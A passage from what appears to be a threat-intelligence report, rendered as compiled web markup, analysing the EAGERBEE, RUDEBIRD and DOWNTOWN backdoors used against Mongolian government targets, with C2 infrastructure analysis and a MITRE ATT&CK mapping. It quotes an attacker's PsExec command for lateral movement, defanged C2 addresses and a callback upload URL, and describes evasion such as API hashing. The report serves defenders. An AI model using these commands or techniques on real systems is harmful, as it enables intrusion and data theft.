\",(0,i.jsx)(e.a,{href:\"http://www.president%5B.%5Dmn\",rel:\"nofollow\",children:\"www.president[.]mn\"}),\" does appear to be the official domain of the President of Mongolia, and is hosted within government infrastructure. Abuse email is directed to \",(0,i.jsx)(e.a,{href:\"mailto:oyunbold@datacenter.gov\",children:\"oyunbold@datacenter.gov\"}),\"[.]mn which appears to be legitimate.\"]})}),\" Based on string formatting and underlying behavior, this sample aligns with public \",(0,i.jsx)(e.a,{href:\"https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/\",rel:\"nofollow\",children:\"reporting\"}),\" from AVAST related to a utility they call DataExtractor1.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image9.png\",alt:\"Sensitive file collection on different drives\",width:\"1051\",height:\"413\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"While we didn\\u2019t find a WinRAR archive for the other linked sample, we found this related \",(0,i.jsx)(e.a,{href:\"https://www.virustotal.com/gui/file/a191d8059e93c0ab479de45cdd91c41b985f9bccd7b2cad9f171fea1c5f19e2e\",rel:\"nofollow\",children:\"executable\"}),\". It functions similarly, using a different callback domain hosted on Mongolian infrastructure (\",(0,i.jsx)(e.code,{children:\"https://intranet.gov[.]mn/upload.php\"}),\").\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image13.png\",alt:\"Hard-coded domain in the second sample\",width:\"1062\",height:\"266\"})}),`\n`,(0,i.jsx)(e.p,{children:\"While it is not clear how this infrastructure was compromised or the extent to which it has been used, impersonating trusted systems may have enabled the threat to compromise other victims and collect intelligence.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"eagerbee-summary\",children:\"EAGERBEE Summary\"}),`\n`,(0,i.jsx)(e.p,{children:\"EAGERBEE is a technically straightforward backdoor with forward and reverse C2 and SSL encryption capabilities, used to conduct basic system enumeration and deliver subsequent executables for post-exploitation. The C2 mode is defined at compile time, and configurable with an associated config file with hardcoded fallback.\"}),`\n`,(0,i.jsx)(e.p,{children:\"Using code overlap analysis, and the fact that EAGERBEE was bundled with other samples from VirusTotal, we identified a C2 server hosted on Mongolian government infrastructure. The associated lure documents also reference Mongolian government policy initiatives. This leads us to believe that the Mongolian government or non-governmental organizations (NGOs) may have been targeted by the REF2924 threat actor.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"rudebird\",children:\"RUDEBIRD\"}),`\n`,(0,i.jsx)(e.p,{children:\"Within the contested REF2924 environment, Elastic Security Labs identified a lightweight Windows backdoor that communicates over HTTPS and contains capabilities to perform reconnaissance and execute code. We refer to this malware family as RUDEBIRD.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"initial-execution\",children:\"Initial execution\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"The backdoor was executed by a file with an invalid signature, \",(0,i.jsx)(e.code,{children:\"C:\\\\Windows\\\\help\\\\RVTDM.exe\"}),\", which resembles the Sysinternals screen magnifier utility ZoomIt. Shortly after being executed, Elastic Defend registered a process injection alert.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image28.png\",alt:\"PE signature and original filename details of RVTDM.exe\",width:\"785\",height:\"352\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The process was executed with the parent process (\",(0,i.jsx)(e.code,{children:\"w3wp.exe\"}),\") coming from a Microsoft Exchange application pool. This is consistent with the exploitation of an unpatched Exchange vulnerability, and prior research supports that hypothesis.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"lateral-movement\",children:\"Lateral movement\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"RUDEBIRD used PsExec (\",(0,i.jsx)(e.code,{children:\"exec.exe\"}),\") to execute itself from the SYSTEM account and then move laterally from victim 0 to another targeted host. It is unclear if PsExec was brought to the environment by the threat actor or if it was already present in the environment.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.code,{children:'\"C:\\\\windows\\\\help\\\\exec.exe\" /accepteula \\\\\\\\{victim-1} -d -s C:\\\\windows\\\\debug\\\\RVTDM.EXE'})}),`\n`,(0,i.jsx)(e.h3,{id:\"code-analysis-1\",children:\"Code analysis\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"RUDEIBIRD is composed of shellcode that resolves imports dynamically by accessing the Thread Environment Block (TEB) / Process Environment Block (PEB) and walking the loaded modules to find base addresses for the \",(0,i.jsx)(e.code,{children:\"kernel32.dll\"}),\" and \",(0,i.jsx)(e.code,{children:\"ntdll.dll\"}),\" modules. These system DLLs contain crucial functions that will be located by the malware in order to interact with the Windows operating system.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image22.png\",alt:\"Resolving imports using TEB/PEB\",width:\"724\",height:\"196\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"RUDEBIRD uses a straightforward API hashing algorithm with multiplication (\",(0,i.jsx)(e.code,{children:\"0x21\"}),\") and addition that is \",(0,i.jsx)(e.a,{href:\"https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py\",rel:\"nofollow\",children:\"publicly available\"}),\" from OALabs. This provides defense against static-analysis tools that analysts may use to inspect the import table and discern what capabilities a binary has.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image11.png\",alt:\"RUDEBIRD API Hashing algorithm\",width:\"532\",height:\"170\"})}),`\n`,(0,i.jsx)(e.p,{children:\"After resolving the libraries, there is an initial enumeration function that collects several pieces of information including:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Hostname\"}),`\n`,(0,i.jsx)(e.li,{children:\"Computer name\"}),`\n`,(0,i.jsx)(e.li,{children:\"Username\"}),`\n`,(0,i.jsx)(e.li,{children:\"IP Address\"}),`\n`,(0,i.jsx)(e.li,{children:\"System architecture\"}),`\n`,(0,i.jsx)(e.li,{children:\"Privilege of the current user\"}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"For some functions that return larger amounts of data, the malware implements compression using \",(0,i.jsx)(e.code,{children:\"RtlCompressBuffer\"}),\". The malware communicates using HTTPS to IP addresses loaded in memory from its configuration. We observed two IP addresses in the configuration in our sample:\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"45.90.58[.]103\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"185.195.237[.]123\"})}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Strangely, there are several functions throughout the program that include calls to \",(0,i.jsx)(e.code,{children:\"OutputDebugStringA\"}),\". This function is typically used during the development phase and serves as a mechanism to send strings to a debugger while testing a program. Normally, these debug messages are expected to be removed after development is finished. For example, the result of the administrator check is printed if run inside a debugger.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image21.png\",alt:\"RUDEBIRD debug string\",width:\"332\",height:\"72\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"RUDEBIRD uses mutexes to maintain synchronization throughout its execution. On launch, the mutex is set to \",(0,i.jsx)(e.code,{children:\"VV.0\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image24.png\",alt:\"RUDEBIRD mutex\",width:\"505\",height:\"126\"})}),`\n`,(0,i.jsx)(e.p,{children:\"After the initial enumeration stage, RUDEBIRD operates as a traditional backdoor with the following capabilities:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Retrieve victim\\u2019s desktop directory path\"}),`\n`,(0,i.jsx)(e.li,{children:\"Retrieve disk volume information\"}),`\n`,(0,i.jsx)(e.li,{children:\"Perform file/directory enumeration\"}),`\n`,(0,i.jsx)(e.li,{children:\"Perform file operations such as reading/writing file content\"}),`\n`,(0,i.jsx)(e.li,{children:\"Launch new processes\"}),`\n`,(0,i.jsx)(e.li,{children:\"File/folder operations such as creating new directories, move/copy/delete/rename files\"}),`\n`,(0,i.jsx)(e.li,{children:\"Beacon timeout option\"}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"downtown-smanagerphantomnet\",children:\"DOWNTOWN (SManager/PhantomNet)\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"In the REF2924 environment, we observed a modular implant we call DOWNTOWN. This sample shares a plugin architecture, and code similarities, and aligns with the victimology described in the publicly reported malware \",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager\",rel:\"nofollow\",children:\"SManager/PhantomNet\"}),\". While we have little visibility into the impacts of its overall use, we wanted to share any details that may help the community.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"SManager/PhantomNet has been attributed to \",(0,i.jsx)(e.a,{href:\"https://malpedia.caad.fkie.fraunhofer.de/actor/ta428\",rel:\"nofollow\",children:\"TA428\"}),\" (Colourful Panda, BRONZE DUDLEY), a threat actor likely sponsored by the Chinese government. Because of the shared plugin architecture, code similarities, and victimology, we are attributing DOWNTOWN with a moderate degree of confidence to a nationally sponsored Chinese threat actor.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"code-analysis-2\",children:\"Code analysis\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"For DOWNTOWN, we collected the plugin from a larger framework. This distinction is made based on unique and shared exports from previously published \",(0,i.jsx)(e.a,{href:\"https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/\",rel:\"nofollow\",children:\"research\"}),\" by ESET. One of the exports contains the same misspelling previously identified in the ESET blog, \",(0,i.jsx)(e.code,{children:\"GetPluginInfomation\"}),\" (note: \",(0,i.jsx)(e.code,{children:\"Infomation\"}),\" is missing an \",(0,i.jsx)(e.code,{children:\"r\"}),\"). The victimology of REF2924 is consistent with their reported victim vertical and region.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image8.png\",alt:\"DOWNTOWN exports\",width:\"548\",height:\"131\"})}),`\n`,(0,i.jsx)(e.p,{children:\"In our sample, the plugin is labeled as \\u201CExplorerManager\\u201D.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image26.png\",alt:\"GetPlugInfomation export\",width:\"476\",height:\"191\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The majority of the code appears to be centered around middleware functionality (linked lists, memory management, and thread synchronization) used to task the malware.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image4.png\",alt:\"Strings found inside DOWNTOWN sample\",width:\"703\",height:\"317\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"In a similar fashion to RUDEBIRD above, DOWNTOWN also included the debug functionality using \",(0,i.jsx)(e.code,{children:\"OutputDebugStringA\"}),\". Again, debugging frameworks are usually removed once the software is moved from development to production status. This could indicate that this module is still in active development or a lack of operational scrutiny by the malware author(s).\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image2.png\",alt:\"OutputDebugStringA usage\",width:\"699\",height:\"277\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Some functionality observed in the sample included:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"File/folder enumeration\"}),`\n`,(0,i.jsx)(e.li,{children:\"Disk enumeration\"}),`\n`,(0,i.jsx)(e.li,{children:\"File operations (delete/execute/rename/copy)\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"Unfortunately, our team did not encounter any network/communication functionality or find any domain or IP addresses tied to this sample.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"downtown-summary\",children:\"DOWNTOWN Summary\"}),`\n`,(0,i.jsx)(e.p,{children:\"DOWNTOWN is part of a modular framework that shows probable ties to an established threat group. The observed plugin appears to provide middleware functionality to the main implant and contains several functions to perform enumeration.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"network-infrastructure-intersection\",children:\"Network infrastructure intersection\"}),`\n`,(0,i.jsx)(e.p,{children:\"When performing an analysis of the network infrastructure for EAGERBEE and RUDEBIRD, we identified similarities in the domain hosting provider, subdomain naming, registration dates, and service enablement between the two malware families\\u2019 C2 infrastructure. Additionally, we were able to use TLS leaf certificate fingerprints to establish another connection between EAGERBEE and the Mongolian campaign infrastructure.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"shared-network-infrastructure\",children:\"Shared network infrastructure\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"As identified in the malware analysis section for EAGERBEE, there were two IP addresses used for C2: \",(0,i.jsx)(e.code,{children:\"185.82.217[.]164\"}),\" and \",(0,i.jsx)(e.code,{children:\"195.123.245[.]79\"}),\".\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Of the two, \",(0,i.jsx)(e.code,{children:\"185.82.217[.]164\"}),\" had an expired TLS certificate registered to it for \",(0,i.jsx)(e.code,{children:\"paper.hosted-by-bay[.]net\"}),\". The subdomain registration for \",(0,i.jsx)(e.code,{children:\"paper.hosted-by-bay[.]net\"}),\" and the TLS certificate were registered on December 14, 2020.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image17.jpg\",alt:\"paper.hosted-by-bay[.]net TLS certificate\",width:\"900\",height:\"500\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"As identified in the malware analysis section for RUDEBIRD, there were two IP addresses used for C2: \",(0,i.jsx)(e.code,{children:\"45.90.58[.]103\"}),\" and \",(0,i.jsx)(e.code,{children:\"185.195.237[.]123\"}),\".\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"45.90.58[.]103\"}),\" was used to register the subdomain \",(0,i.jsx)(e.code,{children:\"news.hosted-by-bay[.]net\"}),\", on December 13, 2020.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"Both IP addresses (one from EAGERBEE and one from RUDEBIRD) were assigned to subdomains (\",(0,i.jsx)(e.code,{children:\"paper.hosted-by-bay[.]net\"}),\" and \",(0,i.jsx)(e.code,{children:\"news.hosted-by-bay[.]net\"}),\") within one day at the domain \",(0,i.jsx)(e.code,{children:\"hosted-by-bay[.]net\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:(0,i.jsxs)(e.em,{children:[\"Note: While \",(0,i.jsx)(e.code,{children:\"195.123.245[.]79\"}),\" (EAGERBEE) and \",(0,i.jsx)(e.code,{children:\"185.195.237[.]123\"}),\" (RUDEBIRD) are malicious, we were unable to identify anything atypical of normal C2 nodes. They used the same defense evasion technique (described below) used by \",(0,i.jsx)(e.code,{children:\"185.82.217[.]164\"}),\" (EAGERBEE) and \",(0,i.jsx)(e.code,{children:\"45.90.58[.]103\"}),\" (RUDEBIRD).\"]})})}),`\n`,(0,i.jsx)(e.h3,{id:\"domain-analysis\",children:\"Domain analysis\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"When performing an analysis of the \",(0,i.jsx)(e.code,{children:\"hosted-by-bay[.]net\"}),\" domain, we see that it is registered to the IP address \",(0,i.jsx)(e.code,{children:\"45.133.194[.]106\"}),\". This IP address exposes two TCP ports, one is the expected TLS port of \",(0,i.jsx)(e.code,{children:\"443\"}),\", and the other is \",(0,i.jsx)(e.code,{children:\"62753\"}),\".\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:(0,i.jsxs)(e.em,{children:[\"Note: Port \",(0,i.jsx)(e.code,{children:\"443\"}),\" has a Let\\u2019s Encrypt TLS certificate for \",(0,i.jsx)(e.code,{children:\"paypal.goodspaypal[.]com\"}),\". This domain does not appear to be related to this research but should be categorized as malicious based on its registration to this IP.\"]})})}),`\n`,(0,i.jsxs)(e.p,{children:[\"On port \",(0,i.jsx)(e.code,{children:\"62753\"}),\", there was a self-signed wildcard TLS leaf certificate with a fingerprint of \",(0,i.jsx)(e.code,{children:\"d218680140ad2c6e947bf16020c0d36d3216f6fc7370c366ebe841c02d889a59\"}),\" (\",(0,i.jsx)(e.code,{children:\"*.REDACTED[.]mn\"}),\"). This fingerprint is used for one host, \",(0,i.jsx)(e.code,{children:\"shop.REDACTED[.]mn\"}),\". The 10-year TLS certificate was registered on December 13, 2020.\"]}),`\n`,(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{children:`Validity\nNot Before: 2020-12-13 11:53:20\nNot After: 2030-12-11 11:53:20\nSubject: CN=shop.REDACTED[.]mn\n`})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\".mn\"}),\" is the Internet ccTLD for Mongolia and REDACTED is a large bank in Mongolia. When researching the network infrastructure for REDACTED, we can see that they do currently own their DNS infrastructure.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"It does not appear that \",(0,i.jsx)(e.code,{children:\"shop.REDACTED[.]mn\"}),\" was ever registered. This self-signed TLS certificate was likely used to encrypt C2 traffic. While we cannot confirm that this certificate was used for EAGERBEE or RUDEBIRD, in the malware code analysis of both EAGERBEE and RUDEBIRD, we identified that TLS to an IP address is an available malware configuration option. We do believe that this domain is related to EAGERBEE and RUDEBIRD based on the registration dates, IP addresses, and subdomains of the \",(0,i.jsx)(e.code,{children:\"hosted-by-bay[.]net\"}),\" domain.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"As noted in the EAGERBEE malware analysis, we identified two other previously unnamed EAGERBEE samples used to target Mongolian victims and also leveraged Mongolian C2 infrastructure.\"}),`\n`,(0,i.jsx)(e.h3,{id:\"defense-evasion\",children:\"Defense evasion\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Finally, we see all of the C2 IP addresses add and remove services at similar dates and times. This is a tactic to hinder the analysis of the C2 infrastructure by limiting its availability. It should be noted that the history of the service enablement and disablement (provided by \",(0,i.jsx)(e.a,{href:\"https://search.censys.io/\",rel:\"nofollow\",children:\"Censys.io\"}),\" databases) is meant to show possible coordination in C2 availability. The images below show the last service change windows, further historical data was not available.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"192.123.245[.]79\"}),\" had TCP port \",(0,i.jsx)(e.code,{children:\"80\"}),\" enabled on September 22, 2023 at 07:31 and then disabled on September 24, 2023 at 07:42.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image6.jpg\",alt:\"192.123.245[.]79 C2 service windows\",width:\"1318\",height:\"902\"})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"185.195.237[.]123\"}),\" had TCP port \",(0,i.jsx)(e.code,{children:\"443\"}),\" enabled on September 22, 2023 at 03:33 and then disabled on September 25, 2023 at 08:08.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image23.jpg\",alt:\"185.195.237[.]123 C2 service windows\",width:\"1326\",height:\"1046\"})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"185.82.217[.]164\"}),\" had TCP port \",(0,i.jsx)(e.code,{children:\"443\"}),\" enabled on September 22, 2023 at 08:49 and then disabled on September 25, 2023 at 01:02.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image20.jpg\",alt:\"185.82.217[.]164 C2 service windows\",width:\"1308\",height:\"900\"})}),`\n`,(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:\"45.90.58[.]103\"}),\" had TCP port \",(0,i.jsx)(e.code,{children:\"443\"}),\" enabled on September 22, 2023 at 04:46 and then disabled on September 24, 2023 at 09:57.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/introducing-the-ref5961-intrusion-set/image10.jpg\",alt:\"45.90.58[.]103 C2 service windows\",width:\"1334\",height:\"896\"})}),`\n`,(0,i.jsx)(e.h3,{id:\"network-intersection-summary\",children:\"Network intersection summary\"}),`\n`,(0,i.jsx)(e.p,{children:\"EAGERBEE and RUDEBIRD are two malware samples, co-resident on the same infected endpoint, in the same environment. This alone builds a strong association between the families.\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"When adding the fact that both families use C2 endpoints that have been used to register subdomains on the same domain \",(0,i.jsx)(e.code,{children:\"hosted-by-bay[.]net\"}),\"), and the service availability coordination, leads us to say with a high degree of confidence that the malware and campaign operators are from the same tasking authority, or organizational umbrella.\"]}),`\n`,(0,i.jsx)(e.h2,{id:\"summary\",children:\"Summary\"}),`\n`,(0,i.jsx)(e.p,{children:\"EAGERBEE, RUDEBIRD, and DOWNTOWN backdoors all exhibit characteristics of incompleteness whether using \\u201CTest\\u201D in file/service names, ignoring compilation best practices, leaving orphaned code, or leaving a smattering of extraneous debug statements.\"}),`\n`,(0,i.jsx)(e.p,{children:\"They all, however, deliver similar tactical capabilities in the context of this environment.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"Local enumeration\"}),`\n`,(0,i.jsx)(e.li,{children:\"Persistence\"}),`\n`,(0,i.jsx)(e.li,{children:\"Download/execute additional tooling\"}),`\n`,(0,i.jsx)(e.li,{children:\"C2 options\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:\"The variety of tooling performing the same or similar tasks with varying degrees and types of miscues causes us to speculate that this environment has attracted the interest of multiple players in the REF2924 threat actor\\u2019s organization. The victim's status as a government diplomatic agency would make it an ideal candidate as a stepping-off point to other targets within and outside the agency\\u2019s national borders. Additionally, it is easy to imagine that multiple entities within a national intelligence apparatus would have collection requirements that could be satisfied by this victim directly.\"}),`\n`,(0,i.jsx)(e.p,{children:\"This environment has already seen the emergence of the REF2924 intrusion set (SIESTAGRAPH, NAPLISTENER, SOMNIRECORD, and DOORME), as well as the deployment of SHADOWPAD and COBALTSTRIKE. The REF2924 and REF5961 threat actor(s) continue to deploy new malware into their government victim\\u2019s environment.\"}),`\n`,(0,i.jsx)(e.h2,{id:\"ref5961-and-mitre-attck\",children:\"REF5961 and MITRE ATT\u0026CK\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"Elastic uses the \",(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/\",rel:\"nofollow\",children:\"MITRE ATT\u0026CK\"}),\" framework to document common tactics, techniques, and procedures that advance persistent threats used against enterprise networks.\"]}),`\n`,(0,i.jsx)(e.h3,{id:\"tactics\",children:\"Tactics\"}),`\n`,(0,i.jsx)(e.p,{children:\"Tactics represent the why of a technique or sub-technique. It is the adversary\\u2019s tactical goal: the reason for performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"EAGERBEE\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005/\",rel:\"nofollow\",children:\"Defense Evasion\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007/\",rel:\"nofollow\",children:\"Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011/\",rel:\"nofollow\",children:\"Command and Control\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002/\",rel:\"nofollow\",children:\"Execution\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"RUDEBIRD\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0005/\",rel:\"nofollow\",children:\"Defense Evasion\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0009/\",rel:\"nofollow\",children:\"Collection\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0011/\",rel:\"nofollow\",children:\"Command and Control\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007/\",rel:\"nofollow\",children:\"Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0008/\",rel:\"nofollow\",children:\"Lateral Movement\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0002/\",rel:\"nofollow\",children:\"Execution\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"DOWNTOWN\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007/\",rel:\"nofollow\",children:\"Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0009/\",rel:\"nofollow\",children:\"Collection\"})}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.h3,{id:\"techniques\",children:\"Techniques\"}),`\n`,(0,i.jsx)(e.p,{children:\"Techniques represent how an adversary achieves a tactical goal by performing an action.\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[\"EAGERBEE\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1027/\",rel:\"nofollow\",children:\"Obfuscated Files or Information\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1082/\",rel:\"nofollow\",children:\"System Information Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1041/\",rel:\"nofollow\",children:\"Exfiltration Over C2 Channel\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1090/\",rel:\"nofollow\",children:\"Proxy\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1055/\",rel:\"nofollow\",children:\"Process Injection\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"RUDEBIRD\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate\",rel:\"nofollow\",children:\"File and Directory Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1082\",rel:\"nofollow\",children:\"System Information Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1059\",rel:\"nofollow\",children:\"Command and Scripting Interpreter\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1570/\",rel:\"nofollow\",children:\"Lateral Tool Transfer\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1005\",rel:\"nofollow\",children:\"Data from Local System\"})}),`\n`]}),`\n`]}),`\n`,(0,i.jsxs)(e.li,{children:[\"DOWNTOWN\",`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/tactics/TA0007/#:~:text=T1083-,File%20and%20Directory%20Discovery,-Adversaries%20may%20enumerate\",rel:\"nofollow\",children:\"File and Directory Discovery\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1082\",rel:\"nofollow\",children:\"System Information Discovery\"})}),`\n`]}),`\n`]}),`\n`]}),`\n`,(0,i.jsx)(e.h2,{id:\"malware-prevention-capabilities\",children:\"Malware prevention 